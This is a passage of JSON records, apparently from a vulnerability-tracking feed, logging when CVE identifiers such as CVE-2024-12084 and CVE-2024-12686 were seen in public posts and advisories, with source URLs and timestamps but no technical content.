"creation_timestamp": "2025-01-14T12:54:17.524135Z"}, {"uuid": "b5467174-992a-46b7-b75e-989ba97a88f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://threatintel.cc/2025/01/14/cisa-warns-of-second-beyondtrust.html", "content": "", "creation_timestamp": "2025-01-14T12:26:48.000000Z"}, {"uuid": "fa2b47a9-2d65-4060-a4c8-1cbfe9cc1f60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lfrbxqrtna2i", "content": "", "creation_timestamp": "2025-01-15T07:54:08.440174Z"}, {"uuid": "04002327-e958-4386-98dc-1b22acb667d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5hp2v5wl2e", "content": "", "creation_timestamp": "2025-01-07T10:43:24.386406Z"}, {"uuid": "2dd96f11-18c1-43eb-ae17-d86cdc728c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3apom6i2i", "content": "", "creation_timestamp": "2025-01-09T06:43:57.787042Z"}, {"uuid": "c4553801-8eba-434a-a31f-7dcb6a66403f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12618", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798400410997715", "content": "", "creation_timestamp": "2025-01-09T12:29:48.065484Z"}, {"uuid": "dd503dc6-eb23-403e-af97-1221f8edbda7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113826808562336469", "content": "", "creation_timestamp": "2025-01-14T12:54:22.607078Z"}, {"uuid": "27c72199-366c-4f60-ad49-5837fd63d247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/m00nstreake.bsky.social/post/3lemiosdza22f", "content": "", "creation_timestamp": "2024-12-31T16:45:53.908401Z"}, {"uuid": "40056051-548e-4c7b-a935-ba70e939f95e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785558180776514", "content": "", "creation_timestamp": "2025-01-07T06:03:51.873133Z"}, {"uuid": "9b3be690-427f-4d7f-97ec-74bad180dc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5hp2yeex2g", "content": "", "creation_timestamp": "2025-01-07T10:43:24.805407Z"}, {"uuid": "89335a49-1661-4db1-a26f-ad0efea872cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3aq34qc2e", "content": "", "creation_timestamp": "2025-01-09T06:43:58.526589Z"}, {"uuid": "86b6becc-03d5-4cae-9c04-b0d9b5b1e706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12440", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785558250577517", "content": "", "creation_timestamp": "2025-01-07T06:03:52.383741Z"}, {"uuid": "f3bceefd-17b0-4933-a53c-1780a95c0478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785558213640255", "content": "", "creation_timestamp": "2025-01-07T06:03:52.580192Z"}, {"uuid": "0a4e9191-8c9e-415b-befe-4514c2577067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfcowx7drw2j", "content": "", "creation_timestamp": "2025-01-09T12:36:24.126343Z"}, {"uuid": "ef2490eb-97da-4547-812b-a557e946a272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12438", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785558196609609", "content": "", "creation_timestamp": "2025-01-07T06:03:52.483863Z"}, {"uuid": "d9c9a871-abe3-4a3e-8423-c0c3c5231794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12717", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3aqiv7a2q", "content": "", "creation_timestamp": "2025-01-09T06:43:59.650727Z"}, {"uuid": "49169091-f725-4cbe-a8ce-99649a874c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lep7dcoiok2r", "content": "", "creation_timestamp": "2025-01-01T18:36:33.958400Z"}, {"uuid": "139ef6eb-623d-4db6-97d8-7bc4a14bff62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3leq6wjtgk72x", "content": "", "creation_timestamp": "2025-01-02T04:01:55.215418Z"}, {"uuid": "a9de1e30-cb4f-4482-93d1-02948005fcdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12595", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leqgfaacn52m", "content": "", "creation_timestamp": "2025-01-02T06:15:24.029230Z"}, {"uuid": "e17f0291-4b26-46ef-bdde-aded39b54d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12595", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3leqi6btdre2q", "content": "", "creation_timestamp": "2025-01-02T06:47:18.710349Z"}, {"uuid": "da30488f-fda0-442c-9dcd-67e98f75bbd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3leqlwhyxy32q", "content": "", "creation_timestamp": "2025-01-02T07:54:31.552270Z"}, {"uuid": "19a4a309-d25e-4f0d-96f2-61da516fd031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3leqnx7glev2s", "content": "", "creation_timestamp": "2025-01-02T08:30:43.479868Z"}, {"uuid": "fc903bef-58e3-4237-aa66-95e82f0f2642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113757976140653968", "content": "", "creation_timestamp": "2025-01-02T09:09:22.656474Z"}, {"uuid": "e8a9107b-f9ba-4212-adf3-41026dd06701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leqqhle2652k", "content": "", "creation_timestamp": "2025-01-02T09:15:40.771299Z"}, {"uuid": "e2ebbb50-1bd8-476e-8a18-dcc72ec9b0bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3leqrokztu32h", "content": "", "creation_timestamp": "2025-01-02T09:37:29.315813Z"}, {"uuid": "e01b97a4-bd86-48d8-af40-e29057286b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://bsky.app/profile/dirkfre.bsky.social/post/3leqz5mzovk23", "content": "", "creation_timestamp": "2025-01-02T11:51:13.017675Z"}, {"uuid": "ec05cb70-259e-41bd-9c82-c37269b85cde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ler2rb3otv2m", "content": "", "creation_timestamp": "2025-01-02T12:20:03.645971Z"}, {"uuid": "d0bf88d2-3464-4749-b8f0-55fd02cb35d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12033", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxpxotc2k", "content": "", "creation_timestamp": "2025-01-07T12:53:30.966649Z"}, {"uuid": "f919c6e2-fe35-4657-9725-7db22baee34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113826826488173623", "content": "", "creation_timestamp": "2025-01-14T12:58:55.348195Z"}, {"uuid": "09a9a928-3926-4f0e-8e16-fab1ad0a858f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxre4ce2i", "content": "", "creation_timestamp": "2025-01-07T12:53:33.719842Z"}, {"uuid": "dccf8749-772c-4e37-a8bd-1ee638c42f10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12819", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798459427194945", "content": "", "creation_timestamp": "2025-01-09T12:44:48.532977Z"}, {"uuid": "9eb1f04b-a172-4dec-8608-71c84afc04c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113826826731641482", "content": "", "creation_timestamp": "2025-01-14T12:58:59.125190Z"}, {"uuid": "5209fce0-ae91-4553-ae20-efe9f4ba52ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12621", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798459412965471", "content": "", "creation_timestamp": "2025-01-09T12:44:49.077673Z"}, {"uuid": "06ce69a7-4b1d-432d-8cdd-46a8030dabc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12316", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxqrlvf2e", "content": "", "creation_timestamp": "2025-01-07T12:53:32.795985Z"}, {"uuid": "786ef927-8e15-414f-b2c8-ff97ebd69527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798459441277486", "content": "", "creation_timestamp": "2025-01-09T12:44:49.336455Z"}, {"uuid": "992f78f9-fed4-4e95-95e3-9d65a028e8af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfrtehv5ia22", "content": "", "creation_timestamp": "2025-01-15T13:05:28.666577Z"}, {"uuid": "c2b7961c-692d-4cbf-ad69-ed7ed0380978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxr5men2q", "content": "", "creation_timestamp": "2025-01-07T12:53:33.272129Z"}, {"uuid": "93c20593-cdae-42a2-b737-858be55befdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yqzh7us2m", "content": "", "creation_timestamp": "2025-01-07T06:16:04.062717Z"}, {"uuid": "d8624cdd-b828-4d69-9340-74596c318f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12211", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfq2ekq2k525", "content": "", "creation_timestamp": "2025-01-14T20:05:28.573728Z"}, {"uuid": "6c09946d-1524-4062-99e4-34198726e9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxrkwaj2g", "content": "", "creation_timestamp": "2025-01-07T12:53:34.620463Z"}, {"uuid": "172bbab2-1d67-49a1-ba31-b1175ee7cbc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/debian.bsky.social/post/3lfq2j6wsyq2l", "content": "", "creation_timestamp": "2025-01-14T20:08:03.940359Z"}, {"uuid": "aece7961-3a4a-409b-ae56-79af73ab4f0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yqudtgs2f", "content": "", "creation_timestamp": "2025-01-07T06:15:58.572145Z"}, {"uuid": "34cc0e04-c58a-46e0-aa34-1d3a99bbe596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.305035Z"}, {"uuid": "1f39e6d9-dc43-44da-8b3d-02ca9c04618f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.352376Z"}, {"uuid": "2461ce28-ac25-43e7-8d0c-b575c5d74895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.397496Z"}, {"uuid": "0bc7147f-a5bf-4b73-9eb0-6357db6e78c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.444320Z"}, {"uuid": "6a9758c9-b8fa-4afc-a697-342d37beb709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.488101Z"}, {"uuid": "41e8700a-d053-41a5-adb4-51ee03c26fa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.546092Z"}, {"uuid": "f297cff2-1862-44b0-abba-1cfb6b45f427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yqwykfn25", "content": "", "creation_timestamp": "2025-01-07T06:16:01.474579Z"}, {"uuid": "31bc32d6-2e1d-40a5-8b2b-fd20d828b2c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yr3rs7p2i", "content": "", "creation_timestamp": "2025-01-07T06:16:06.373442Z"}, {"uuid": "efaba094-cf08-4d81-b497-5a208ca5f081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12438", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yr6qkkm2i", "content": "", "creation_timestamp": "2025-01-07T06:16:09.385946Z"}, {"uuid": "4fc1d250-4140-4422-b6e1-5dac0d04df1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785617266493675", "content": "", "creation_timestamp": "2025-01-07T06:18:52.833958Z"}, {"uuid": "4187c837-ee62-489e-81be-c55856d03306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://www.openwall.com/lists/oss-security/2025/01/14/3", "content": "", "creation_timestamp": "2025-01-14T09:53:56.847000Z"}, {"uuid": "d22cb561-5793-4596-87d8-792e15efbe34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrbbpae2i", "content": "", "creation_timestamp": "2025-01-07T06:16:12.001222Z"}, {"uuid": "87ad73f8-9e84-420d-8f3d-c4bb7be661cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12440", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrdoa7u2k", "content": "", "creation_timestamp": "2025-01-07T06:16:14.624059Z"}, {"uuid": "86445760-829f-414e-aa6e-ba6a805f7d84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrg7gi525", "content": "", "creation_timestamp": "2025-01-07T06:16:17.175768Z"}, {"uuid": "de3d162b-8839-4501-97ad-091bc03d2c04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfpfwnm5as2r", "content": "", "creation_timestamp": "2025-01-14T13:59:47.846330Z"}, {"uuid": "99a91205-4cc5-4e5b-9e3f-9f1b1786c774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://xeiaso.net/shitposts/no-way-to-prevent-this/CVE-2024-12084/", "content": "", "creation_timestamp": "2025-01-14T00:00:00.000000Z"}, {"uuid": "0054770b-d4c9-42fe-983f-7058e00e07fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12226", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lftqbzgysj2p", "content": "", "creation_timestamp": "2025-01-16T07:15:45.077527Z"}, {"uuid": "8e25ae79-6ba6-41bb-8f10-7d8121f35955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrijmdo2o", "content": "", "creation_timestamp": "2025-01-07T06:16:19.768212Z"}, {"uuid": "0a72b06c-a19a-4e4a-a227-d4e1de300d1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrnqa6g2c", "content": "", "creation_timestamp": "2025-01-07T06:16:25.084104Z"}, {"uuid": "8e56ecc1-b67d-4f6b-8e2f-b64c34ad79ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12131", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5q7rhuy625", "content": "", "creation_timestamp": "2025-01-07T13:15:54.805444Z"}, {"uuid": "4b488596-fca4-48ea-87fa-abe7d233686a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12430", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788073102479974", "content": "", "creation_timestamp": "2025-01-07T16:43:26.922135Z"}, {"uuid": "35fa9a03-b577-4d2e-9d60-401495c698d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788073102479974", "content": "", "creation_timestamp": "2025-01-07T16:43:26.960110Z"}, {"uuid": "31de0e08-3374-47bb-9bca-0757a89e0bf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrl6ygx2i", "content": "", "creation_timestamp": "2025-01-07T06:16:22.390262Z"}, {"uuid": "716ad1c8-72cc-47fc-a4a5-9fc131bae561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5q7ubh4m2a", "content": "", "creation_timestamp": "2025-01-07T13:15:57.742346Z"}, {"uuid": "43c1b302-63a4-472d-b9a2-7f5f483f8802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12226", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lftrkjqm5c25", "content": "", "creation_timestamp": "2025-01-16T07:38:24.003405Z"}, {"uuid": "46ffb62c-c630-44af-b187-c6b845a5fc89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrq7eak2m", "content": "", "creation_timestamp": "2025-01-07T06:16:27.696455Z"}, {"uuid": "872c5056-366d-494e-9707-a63610321b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5q7wjc4n22", "content": "", "creation_timestamp": "2025-01-07T13:16:00.046395Z"}, {"uuid": "7922bdd8-a0b7-47cf-a078-c52712718b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3092046", "content": "", "creation_timestamp": "2025-01-13T15:16:11.123737Z"}, {"uuid": "6fb41fd3-58b0-4294-8a69-3a770746f5b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lfofmhqvik2l", "content": "", "creation_timestamp": "2025-01-14T04:21:28.105043Z"}, {"uuid": "bcb9091b-e780-4c9d-9eb6-bfe0676dfd3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://threatintel.cc/2025/01/16/cisa-warns-second-beyondtrust-vulnerability.html", "content": "", "creation_timestamp": "2025-01-16T12:27:26.000000Z"}, {"uuid": "08704572-969a-437c-aed9-4c265bbb4325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5q7wjc4n22", "content": "", "creation_timestamp": "2025-01-07T13:16:00.048169Z"}, {"uuid": "39374ad3-c974-4ed9-bcc7-d3750e528cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113821744720960181", "content": "", "creation_timestamp": "2025-01-13T15:26:34.197076Z"}, {"uuid": "47bfe31c-f6ea-4440-be41-28820e6abdc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/113829398285192484", "content": "", 